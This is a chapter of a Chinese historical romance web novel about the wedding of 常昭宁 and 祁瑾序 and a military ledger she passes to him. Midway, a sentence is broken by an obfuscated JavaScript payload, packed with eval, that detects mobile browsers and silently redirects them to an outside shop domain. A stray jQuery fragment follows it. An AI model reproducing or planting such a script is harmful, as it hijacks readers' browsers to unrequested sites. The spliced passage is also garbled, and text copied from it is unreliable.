迎亲队伍浩浩荡荡,常昭宁先是同祁瑾序一齐去了靖王府,给未来舅姑行拜礼。下了轿子,常昭宁因盖着红盖头步子迈得很小,看不见眼前路,很不习惯,常昭宁抬起一只手,刚打算唤素芷牵她找方向,右手便被一只宽大而温热的手掌托起,握住。常昭宁顿了一下,看见了喜服的一角,意识到是祁瑾序。
祁瑾序不知何时下了马,来到轿子旁,等着常昭宁,见她伸了手,没犹豫,握住了常昭宁的手。旁边的喜婆见此很是欣喜,世子和世子妃这个模样落到旁人眼里,又是一众起哄声。
常昭宁脸热了,待安稳站定后,二人双手放下,常昭宁本想松开,一大一小紧贴着的手掌分开,常昭宁五指收拢,表示着自己可以了。刚想收回手,没想到,祁瑾序带着薄茧的手也跟着收紧,稍大些的手将她的轻握的拳头微微拢在掌心。祁瑾序的手臂又往常昭宁方向贴了下,解释:“免得摔了,我牵着你。”
常昭宁从未与男子有过这般亲密的举动,此刻只感手掌微湿,又觉得脸颊有点麻,也许是紧张的,常昭宁想着。同时又暗自忖度着祁瑾序怎做的这般自然?殊不知,祁瑾序的耳根,也是红的。
之后的行拜礼,用醴酒时,祁瑾序都注意着常昭宁。常昭宁每每感觉身子不定时,总有一双有力的手臂,将她扶稳。
行过礼,一行人又跟着去到世子府中参加宴席。出轿时,祁瑾序也牵着常昭宁。夜色替换了白日,常昭宁跟祁瑾序进了新房,被祁瑾序带着在床边坐下,这时二人终于松开手,常昭宁听见祁瑾序不自在地咳了一声,新房内安静下来。
一日忙活,常昭宁累极了,分不清祁瑾序在哪个方向,动了动酸涩的脖颈,问:“何时掀盖头?”
话音刚落,红盖头就被祁瑾序揭起。祁瑾序今日同常昭宁一块儿呆了半日,现下却是才看见她,同平日有些不同。
常昭宁感觉眼前终于明亮了,抬眼,与祁瑾序对视,二人撞上视线,皆有些尴尬。
毕竟,从今日起,二人便是夫妻了。
还是祁瑾序先动,唤来侍女伺候常昭宁梳洗,自己倒是退到旁边看着。
常昭宁摘下沉重的凤冠,顿时感觉浑身轻盈了,脑袋清爽了许多,随后用温水净面,洗了一会儿,余光里高个的影子还未离开,一动不动靠在墙边,拘谨得仿佛这不是他的房似的,常昭宁侧头,盯着祁瑾序,伸手点了下门处:“你还不去?”
祁瑾序本靠在墙边,因他也不知在厢房内应该呆多久,刚才掀开盖头时,看常昭宁同从前不一样,上了婚定的面妆,有点不自在,但又不知该何时走,现在常昭宁脸上恢复了素净,祁瑾序倒觉得顺眼多了。他嗯了一声,才开门离开见宾客去了。
……
常昭宁先行洗漱完毕,将头发挽好,坐在床边等着祁瑾序。
夜深,宾客散尽,祁瑾序犹豫了一番,还是决定先去常昭宁那看一眼,祁瑾序慢悠悠荡回院中,见屋内烛火还亮着,有点疑惑,见常昭宁的婢女在门口,便问:“不是说让她先休息吗?”
春藤微微俯身,行了礼,回答:“夫人交代了要等殿下回来。”
这话倒听得祁瑾序心口一紧,常昭宁怎代入得这般快,他先前还让人收拾了间房出来他今晚住,眼下看来貌似是不用了。
祁瑾序在房门口咳了两下,故意弄出点动静,预告他来了,伸出手叩几下门:“常昭宁,我进来了。”
屋内无回应。
祁瑾序缓慢推开门,常昭宁靠在床边,睫毛垂着,未抬头,显然是睡着了。祁瑾序转身关上房门,不料“吱呀——”一声,这关门声将常昭宁给吵醒了。常昭宁眼皮掀起,目光昏沌,又揉了揉眼,看清祁瑾序。
新房内,常昭宁祁瑾序二人再次面面相觑,祁瑾序捡起桌上的两个小杯子,玉杯旁,是原本放置在桌上的一个红壶,里头大概是合卺酒,祁瑾序拎起来,将酒水倒进玉杯中,常昭宁也走过来,二人无言,但交替共饮了合卺酒。
有些苦,常昭宁抿了下唇,一会儿,一杯清水被放置在她手边,祁瑾序给她倒的。
世子殿下今日倒是贴心的出奇。
“你喝醉了吗?”常昭宁闻到了祁瑾序身上的酒味,淡淡的。
“没有。”祁瑾序来前还漱了几次口。
常昭宁点头,就自行起身,向床边走去,“那你过来,我有东西给你。”
祁瑾序思绪开始难以运转,他从未有过这类感觉。从圆椅上起来,站着不动,常昭宁拍了拍身旁的被褥,对祁瑾序扬了扬下巴:“坐。”
祁瑾序心如擂鼓,提步走近,在床边坐下,瞥眼估量了他与常昭宁的距离,约莫两个拳头。
常昭宁在枕边翻找着什么,嘴里咕嘟了几句话,祁瑾序没听清。祁瑾序的喉结滚动,在紧张地咽口水,婚前他知常昭宁无意,所以本不想同常昭宁发展这样快,起码也得等两人两情相悦时。没想到常昭宁竟这样自然,今年他方才二十又一,如何让事情水到渠成他现下却有些不会了,这让祁瑾序有些头疼,他开始尽力回想曲鹤行方才同他讲的话,有些后悔,早知这样,他应该认真听的。
常昭宁自然是不清楚祁瑾序的思绪,单纯地在床榻旁找东西,留祁瑾序一人难捱。
待常昭宁找着东西,转回头,便看见祁瑾序正襟危坐在旁边,两只手按着自己的膝盖,眼不知在看何处。常昭宁觉得好笑,两人已经结亲了,常昭宁不像白日里那样紧张,自发向祁瑾序坐近了些,拿出今日李挽晴交给她的军簿,放在自己膝盖上,翻开,脸色严肃:“今日李挽晴交予我的。”
祁瑾序看见军册,一下便冷静了,手也找到该干的事儿了,拿起军册,他曾亲自查过白侍郎的府邸,李府也派人搜过,皆无此物下落。没想到却是在常昭宁这儿。常昭宁有些困倦了,简单解释了番同李挽晴在清云国寺的事。
祁瑾序翻了下统调部分。不出他所料,祁子玦刻意隐瞒死伤者数,瞒报战场损失,私自培练组建军兵。祁瑾序紧绷的面色已经消失,现在翻看军册正经了许多。
“四皇子那边应该已经知道你和李挽晴的交易,明日我派人将此带给太子,你……早点休息。”祁瑾序说完就起身,一身红服,倒显得他皮肤很
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17911554|213128||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
白,常昭宁看他动作,未收敛目光,觉得祁瑾序生得很是俊朗。
夜深人静,祁瑾序被常昭宁这么一盯,心跳又快了起来,不过面上不显,走到桌旁给自己倒了杯水,喝水间隙看见了前些日子蔡伯放进他屋内的妆台,自然是给常昭宁准备的。
重要之事已经交代完,常昭宁困意直涌:“我住哪间屋子?”常昭宁问。
“这间。”祁瑾序平静接话。
常昭宁方才等祁瑾序的时候已经把此间屋子打量过了,柜中都是祁瑾序的衣物,这明显是祁瑾序的屋子。
她往后退了两步,祁瑾序难道要和她住一间?
祁瑾序看出常昭宁眼里的惊恐,好吧,是他多想。
“我住另一间,一个院子。”祁瑾序将茶杯搁在桌上,“有事你再差人叫我。”解释完就立刻推门出去了。
屋内又安静下来,常昭宁觉得祁瑾序走得有点快,像风一般卷走了。不过常昭宁没多想,又揉了下眼睛,沾床就睡。
祁瑾序走出新房,进了院中另一间偏房。春藤和素芷见了有些疑惑,但也不敢问。朝新房里头望,常昭宁已经把烛灯吹灭了。
祁瑾序刚踏出新房,从未觉着外头空气这样令人放松。又前往提前收拾好的厢房,比起正寝虽小了些,不过临着院内的书房,思量着也还不错,世子殿下心甘情愿地将自己屋子让了出去。
已接近子时末,祁瑾序在床上翻了个身,闭着眼回忆常昭宁方才和他讨论的事,她竟还去了清云国寺祈福,也像其他女子一样写了姻缘绳?祁瑾序嘴角勾了勾,并未意识到,自己昨日因今日这大婚的郁闷,早已一扫而光。
第二日,常昭宁醒得很早,她同祁瑾序需一齐进宫面圣。梳洗完毕,刚换了新衣裳,外头的素芷敲了门,“夫人,殿下来了。”
门本就敞着,祁瑾序还是在门槛处等了会儿,让素芷知会常昭宁一声。
待祁瑾序进门,常昭宁正端坐在铜镜前盘发,祁瑾序见一团巨大白球窝在常昭宁脚边,是滚滚,仅几月不见,此狸奴貌似全然忘记他,连半个目光都未分给他。常昭宁也并未看祁瑾序,在认真挑选簪子。入宫面圣,不应太过简朴,否则显随意,但亦不可太繁琐,会显奢侈。常昭宁拿不定主意,问春藤选哪个比较好。
春藤见昨日两位主子未同房住,有些着急,出了主意:“不如让殿下替夫人挑选吧。”
祁瑾序今日恢复了寻常时那副散漫的样子,也没等常昭宁唤他,自行走至妆台边,昨日牵了常昭宁半天的那只手出现在她视线中,骨节分明的手拿起两支相同的蝴蝶簪子放到常昭宁面前:“随意些,皇叔皇嫂家宴的时候很温和。”
常昭宁直接无视,说太丑。
祁瑾序不解此簪子丑在哪儿,缓缓道,“嫌丑赏花宴那日你还带?”
常昭宁清楚记得赏花宴那日,自己并未见过祁瑾序,听闻此话,她侧过头,一双杏眼明亮得如小鹿般,一眨不眨盯着祁瑾序,语气调侃:“赏花宴过去那般久了,世子怎还记得我带了什么?殿下莫不是有什么心事?”
祁瑾序无言。